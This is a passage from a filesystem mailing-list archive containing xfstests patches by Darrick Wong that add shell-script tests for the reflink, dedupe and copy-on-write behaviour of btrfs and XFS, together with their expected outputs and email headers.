<($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 120)) 100" $TESTDIR/file2) \ + || echo "End sections of 1-2 do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 120)) 100" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 48 - 120)) 100" $TESTDIR/file3) \ + || echo "End sections of 2-3 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 14)) $BLKSZ" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 14)) $BLKSZ" $TESTDIR/file2) \ + || echo "Untouched sections of 1-2 do not match" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 14)) $BLKSZ" $TESTDIR/file2) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 14)) $BLKSZ" $TESTDIR/file3) \ + || echo "Untouched sections of 2-3 do not match" + +# success, all done +status=0 +exit diff --git a/tests/generic/810.out b/tests/generic/810.out new file mode 100644 index 0000000..6434e03 --- /dev/null +++ b/tests/generic/810.out @@ -0,0 +1,13 @@ +QA output created by 810 +Create the original files +Compare files +mmap CoW the second file +Compare files +Files 1-2 do not match (intentional) +Files 1-3 do not match (intentional) +Compare the CoW'd section to the before file +Start sections do not match (intentional) +Middle sections do not match (intentional) +End sections do not match (intentional) +Compare the CoW'd section to the after file +Compare the not CoW'd sections diff --git a/tests/generic/837 b/tests/generic/837 new file mode 100755 index 0000000..1824ee0 --- /dev/null +++ b/tests/generic/837 @@ -0,0 +1,87 @@ +#! /bin/bash +# FS QA Test No. 837 +# +# Ensure that reflinking a file N times and CoWing the copies leaves the +# original intact. +# - Create a file and record its hash +# - Create some reflink copies +# - Rewrite all the reflink copies +# - Compare the contents of the original file +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original file blocks" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +NR=9 +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * 256))" $TESTDIR/file1 >> $seqres.full +csum="$(_md5_checksum $TESTDIR/file1)" + +echo "Create the reflink copies" +for i in `seq 2 $NR`; do + cp --reflink=always $TESTDIR/file1 $TESTDIR/file$i +done +_test_remount + +echo "Rewrite the copies" +for i in `seq 2 $NR`; do + $XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((BLKSZ * 256))" $TESTDIR/file$i >> $seqres.full + sync +done +_test_remount + +echo "Examine original file" +mod_csum="$(_md5_checksum $TESTDIR/file2)" +new_csum="$(_md5_checksum $TESTDIR/file1)" +test "${csum}" != "${mod_csum}" || echo "checksums do not match" +test "${csum}" = "${new_csum}" || echo "checksums do not match" + +# success, all done +status=0 +exit diff --git a/tests/generic/837.out b/tests/generic/837.out new file mode 100644 index 0000000..dd45df8 --- /dev/null +++ b/tests/generic/837.out @@ -0,0 +1,5 @@ +QA output created by 837 +Create the original file blocks +Create the reflink copies +Rewrite the copies +Examine original file diff --git a/tests/generic/838 b/tests/generic/838 new file mode 100755 index 0000000..00977e5 --- /dev/null +++ b/tests/generic/838 @@ -0,0 +1,87 @@ +#! /bin/bash +# FS QA Test No. 837 +# +# Ensure that reflinking a file N times and DIO CoWing the copies leaves the +# original intact. +# - Create a file and record its hash +# - Create some reflink copies +# - Rewrite all the reflink copies with directio +# - Compare the contents of the original file +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_cp_reflink +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original file blocks" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +NR=9 +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * 256))" $TESTDIR/file1 >> $seqres.full +csum="$(_md5_checksum $TESTDIR/file1)" + +echo "Create the reflink copies" +for i in `seq 2 $NR`; do + cp --reflink=always $TESTDIR/file1 $TESTDIR/file$i +done +_test_remount + +echo "Rewrite the copies" +for i in `seq 2 $NR`; do + $XFS_IO_PROG -d -f -c "pwrite -S 0x62 0 $((BLKSZ * 256))" $TESTDIR/file$i >> $seqres.full + sync +done +_test_remount + +echo "Examine original file" +mod_csum="$(_md5_checksum $TESTDIR/file2)" +new_csum="$(_md5_checksum $TESTDIR/file1)" +test "${csum}" != "${mod_csum}" || echo "checksums do not match" +test "${csum}" = "${new_csum}" || echo "checksums do not match" + +# success, all done +status=0 +exit diff --git a/tests/generic/838.out b/tests/generic/838.out new file mode 100644 index 0000000..d1a862e --- /dev/null +++ b/tests/generic/838.out @@ -0,0 +1,5 @@ +QA output created by 838 +Create the original file blocks +Create the reflink copies +Rewrite the copies +Examine original file diff --git a/tests/generic/group b/tests/generic/group index 25cffa7..6734822 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -215,6 +215,11 @@ 805 auto quick clone 806 auto quick clone 807 auto quick clone +808 auto quick clone +809 auto quick clone +810 auto quick clone 817 auto quick clone 818 auto quick clone 819 auto quick clone +837 auto quick clone +838 auto quick clone From darrick.wong@oracle.com Wed Oct 7 00:13:46 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9EA2429F10 for ; Wed, 7 Oct 2015 00:13:46 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E54E9AC005 for ; Tue, 6 Oct 2015 22:13:45 -0700 (PDT) X-ASG-Debug-ID: 1444194820-04cb6c57850dbd0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id KX9SyYF0nzQFgxae (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:13:40 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975DXQ8025186 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:13:34 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t975DWs2012025 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:13:33 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t975DWSi026948; Wed, 7 Oct 2015 05:13:32 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:13:31 -0700 Subject: [PATCH 04/12] reflink: basic tests of the reflink and dedupe ioctls From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 04/12] reflink: basic tests of the reflink and dedupe ioctls To: david@fromorbit.com, darrick.wong@oracle.com Cc: Anna.Schumaker@netapp.com, linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, fstests@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:13:30 -0700 Message-ID: <20151007051330.3260.7654.stgit@birch.djwong.org> In-Reply-To: <20151007051257.3260.73072.stgit@birch.djwong.org> References: <20151007051257.3260.73072.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194820 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Test the operation of the btrfs (and now xfs) reflink and dedupe ioctls at various file offsets and with matching and nonmatching files. Signed-off-by: Darrick J. Wong --- common/rc | 9 +++ tests/generic/803 | 89 ++++++++++++++++++++++++++ tests/generic/803.out | 4 + tests/generic/804 | 90 ++++++++++++++++++++++++++ tests/generic/804.out | 7 ++ tests/generic/805 | 171 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/805.out | 18 +++++ tests/generic/806 | 89 ++++++++++++++++++++++++++ tests/generic/806.out | 4 + tests/generic/807 | 89 ++++++++++++++++++++++++++ tests/generic/807.out | 8 ++ tests/generic/817 | 125 ++++++++++++++++++++++++++++++++++++ tests/generic/817.out | 8 ++ tests/generic/818 | 125 ++++++++++++++++++++++++++++++++++++ tests/generic/818.out | 9 +++ tests/generic/819 | 128 +++++++++++++++++++++++++++++++++++++ tests/generic/819.out | 7 ++ tests/generic/group | 8 ++ 18 files changed, 988 insertions(+) create mode 100755 tests/generic/803 create mode 100644 tests/generic/803.out create mode 100755 tests/generic/804 create mode 100644 tests/generic/804.out create mode 100755 tests/generic/805 create mode 100644 tests/generic/805.out create mode 100755 tests/generic/806 create mode 100644 tests/generic/806.out create mode 100755 tests/generic/807 create mode 100644 tests/generic/807.out create mode 100755 tests/generic/817 create mode 100644 tests/generic/817.out create mode 100755 tests/generic/818 create mode 100644 tests/generic/818.out create mode 100755 tests/generic/819 create mode 100644 tests/generic/819.out diff --git a/common/rc b/common/rc index 7e2f140..639f355 100644 --- a/common/rc +++ b/common/rc @@ -82,6 +82,15 @@ _md5_checksum() md5sum $1 | cut -d ' ' -f1 } +# Prints the md5 checksum of a part of a given file +_md5_range_checksum() { + file="$1" + offset="$2" + len="$3" + + md5sum <($XFS_IO_PROG -f -c "pread -q -v $offset $len" "$file" | sed -e 's/^.*: //g') | cut -d ' ' -f 1 +} + # ls -l w/ selinux sometimes puts a dot at the end: # -rwxrw-r--. id1 id2 file1 diff --git a/tests/generic/803 b/tests/generic/803 new file mode 100755 index 0000000..d5595ed --- /dev/null +++ b/tests/generic/803 @@ -0,0 +1,89 @@ +#! /bin/bash +# FS QA Test No. 803 +# +# Ensure that we can reflink parts of two identical files: +# - Reflink identical parts of two identical files +# - Check that we still have identical contents +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "reflink" +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(( $(stat -f $TESTDIR -c '%S') * 64))" +$XFS_IO_PROG -f -c "pwrite -S 0x61 $((BLKSZ * 2)) $((BLKSZ * 6))" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 $((BLKSZ * 2)) $((BLKSZ * 6))" $TESTDIR/file2 >> $seqres.full +sync + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 8))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 8))" $TESTDIR/file2) \ + || echo "Files do not match" + +echo "Reflink the middle blocks together" +free_before="$(stat -f -c '%a' $TESTDIR)" +$XFS_IO_PROG -f -c "reflink $TESTDIR/file1 $((BLKSZ * 4)) $((BLKSZ * 4)) $((BLKSZ * 2))" $TESTDIR/file2 >> $seqres.full +_test_remount +free_after="$(stat -f -c '%a' $TESTDIR)" +echo "freesp changed by $free_before -> $free_after" >> $seqres.full + +echo "Compare sections" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 0)) $((BLKSZ * 4))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 0)) $((BLKSZ * 4))" $TESTDIR/file2) \ + || echo "Start sections do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 4)) $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 4)) $((BLKSZ * 2))" $TESTDIR/file2) \ + || echo "Middle sections do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 6)) $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 6)) $((BLKSZ * 2))" $TESTDIR/file2) \ + || echo "End sections do not match" + +# success, all done +status=0 +exit diff --git a/tests/generic/803.out b/tests/generic/803.out new file mode 100644 index 0000000..1108990 --- /dev/null +++ b/tests/generic/803.out @@ -0,0 +1,4 @@ +QA output created by 803 +Create the original files +Reflink the middle blocks together +Compare sections diff --git a/tests/generic/804 b/tests/generic/804 new file mode 100755 index 0000000..cc39e4d --- /dev/null +++ b/tests/generic/804 @@ -0,0 +1,90 @@ +#! /bin/bash +# FS QA Test No. 804 +# +# Ensuring that we can reflink non-matching parts of files: +# - Reflink identical ranges of two different files +# - Check that the non-linked ranges still do not match +# - Check that we end up with identical contents in the linked ranges +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "reflink" +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(( $(stat -f $TESTDIR -c '%S') * 64))" +$XFS_IO_PROG -f -c "pwrite -S 0x61 $((BLKSZ * 2)) $((BLKSZ * 6))" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 $((BLKSZ * 2)) $((BLKSZ * 6))" $TESTDIR/file2 >> $seqres.full +sync + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 8))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 8))" $TESTDIR/file2) \ + || echo "Files do not match (intentional)" + +echo "Reflink the middle blocks together" +free_before="$(stat -f -c '%a' $TESTDIR)" +$XFS_IO_PROG -f -c "reflink $TESTDIR/file1 $((BLKSZ * 4)) $((BLKSZ * 4)) $((BLKSZ * 2))" $TESTDIR/file2 >> $seqres.full +_test_remount +free_after="$(stat -f -c '%a' $TESTDIR)" +echo "freesp changed by $free_before -> $free_after" >> $seqres.full + +echo "Compare sections" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 0)) $((BLKSZ * 4))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 0)) $((BLKSZ * 4))" $TESTDIR/file2) \ + || echo "Start sections do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 4)) $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 4)) $((BLKSZ * 2))" $TESTDIR/file2) \ + || echo "Middle sections do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 6)) $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 6)) $((BLKSZ * 2))" $TESTDIR/file2) \ + || echo "End sections do not match (intentional)" + +# success, all done +status=0 +exit diff --git a/tests/generic/804.out b/tests/generic/804.out new file mode 100644 index 0000000..df0a551 --- /dev/null +++ b/tests/generic/804.out @@ -0,0 +1,7 @@ +QA output created by 804 +Create the original files +Files do not match (intentional) +Reflink the middle blocks together +Compare sections +Start sections do not match (intentional) +End sections do not match (intentional) diff --git a/tests/generic/805 b/tests/generic/805 new file mode 100755 index 0000000..f926fb7 --- /dev/null +++ b/tests/generic/805 @@ -0,0 +1,171 @@ +#! /bin/bash +# FS QA Test No. 805 +# +# Reflinking two sets of files together: +# - Reflink identical parts of two identical files +# - Reflink identical parts of two other identical files +# - Reflink identical parts of all four files +# - Check that we end up with identical contents +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "reflink" +_require_test + +rm -f $seqres.full + +TESTDIR=$TEST_DIR/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original files" +BLKSZ="$(( $(stat -f $TESTDIR -c '%S') * 64))" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * 8))" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((BLKSZ * 8))" $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x63 0 $((BLKSZ * 8))" $TESTDIR/file3 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x64 0 $((BLKSZ * 8))" $TESTDIR/file4 >> $seqres.full + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 8))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 8))" $TESTDIR/file2) \ + || echo "Files 1-2 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 8))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 8))" $TESTDIR/file3) \ + || echo "Files 1-3 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 8))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 8))" $TESTDIR/file4) \ + || echo "Files 1-4 do not match (intentional)" + +echo "Reflink the first blocks together" +free_before="$(stat -f -c '%a' $TESTDIR)" +$XFS_IO_PROG -f -c "reflink $TESTDIR/file1 0 0 $((BLKSZ * 4))" $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "reflink $TESTDIR/file3 0 0 $((BLKSZ * 4))" $TESTDIR/file4 >> $seqres.full +_test_remount +free_after="$(stat -f -c '%a' $TESTDIR)" +echo "freesp changed by $free_before -> $free_after" >> $seqres.full + +echo "Compare sections" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 4))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 4))" $TESTDIR/file2) \ + || echo "Sections of file 1-2 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 4))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 4))" $TESTDIR/file3) \ + || echo "Sections of file 1-3 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 4))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 4))" $TESTDIR/file3) \ + || echo "Sections of file 1-4 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 4))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 4))" $TESTDIR/file3) \ + || echo "Sections of file 2-3 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 4))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 4))" $TESTDIR/file3) \ + || echo "Sections of file 2-4 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 4))" $TESTDIR/file3) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 4))" $TESTDIR/file4) \ + || echo "Sections of file 3-4 do not match" + +echo "Reflink the middle blocks together" +free_before="$(stat -f -c '%a' $TESTDIR)" +$XFS_IO_PROG -f -c "reflink $TESTDIR/file1 0 0 $((BLKSZ * 2))" $TESTDIR/file3 >> $seqres.full +$XFS_IO_PROG -f -c "reflink $TESTDIR/file1 0 0 $((BLKSZ * 2))" $TESTDIR/file4 >> $seqres.full +_test_remount +free_after="$(stat -f -c '%a' $TESTDIR)" +echo "freesp changed by $free_before -> $free_after" >> $seqres.full + +echo "Compare sections" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 2))" $TESTDIR/file2) \ + || echo "Sections of files 1-2 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 2))" $TESTDIR/file3) \ + || echo "Sections of files 1-3 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 2))" $TESTDIR/file4) \ + || echo "Sections of files 1-4 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 2))" $TESTDIR/file2) \ + || echo "Sections of files 2-3 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 2))" $TESTDIR/file3) \ + || echo "Sections of files 2-4 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 2))" $TESTDIR/file3) \ + <($XFS_IO_PROG -f -c "pread -q -v 0 $((BLKSZ * 2))" $TESTDIR/file4) \ + || echo "Sections of files 3-4 do not match" + +echo "Compare previously reflinked sections" +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 2)) $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 2)) $((BLKSZ * 2))" $TESTDIR/file2) \ + || echo "Sections of file 1-2 do not match" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 2)) $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 2)) $((BLKSZ * 2))" $TESTDIR/file3) \ + || echo "Sections of file 1-3 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 2)) $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 2)) $((BLKSZ * 2))" $TESTDIR/file3) \ + || echo "Sections of file 1-4 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 2)) $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 2)) $((BLKSZ * 2))" $TESTDIR/file3) \ + || echo "Sections of file 2-3 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 2)) $((BLKSZ * 2))" $TESTDIR/file1) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 2)) $((BLKSZ * 2))" $TESTDIR/file3) \ + || echo "Sections of file 2-4 do not match (intentional)" + +cmp -s <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 2)) $((BLKSZ * 2))" $TESTDIR/file3) \ + <($XFS_IO_PROG -f -c "pread -q -v $((BLKSZ * 2)) $((BLKSZ * 2))" $TESTDIR/file4) \ + || echo "Sections of file 3-4 do not match" + +# success, all done +status=0 +exit diff --git a/tests/generic/805.out b/tests/generic/805.out new file mode 100644 index 0000000..5c9629e --- /dev/null +++ b/tests/generic/805.out @@ -0,0 +1,18 @@ +QA output created by 805 +Create the original files +Files 1-2 do not match (intentional) +Files 1-3 do not match (intentional) +Files 1-4 do not match (intentional) +Reflink the first blocks together +Compare sections +Sections of file 1-3 do not match (intentional) +Sections of file 1-4 do not match (intentional) +Sections of file 2-3 do not match (intentional) +Sections of file 2-4 do not match (intentional) +Reflink the middle blocks together +Compare sections +Compare previously reflinked sections +Sections of file 1-3 do not match (intentional) +Sections of file 1-4 do not match (intentional) +Sections of file 2-3 do not match (intentional) +Sections of file 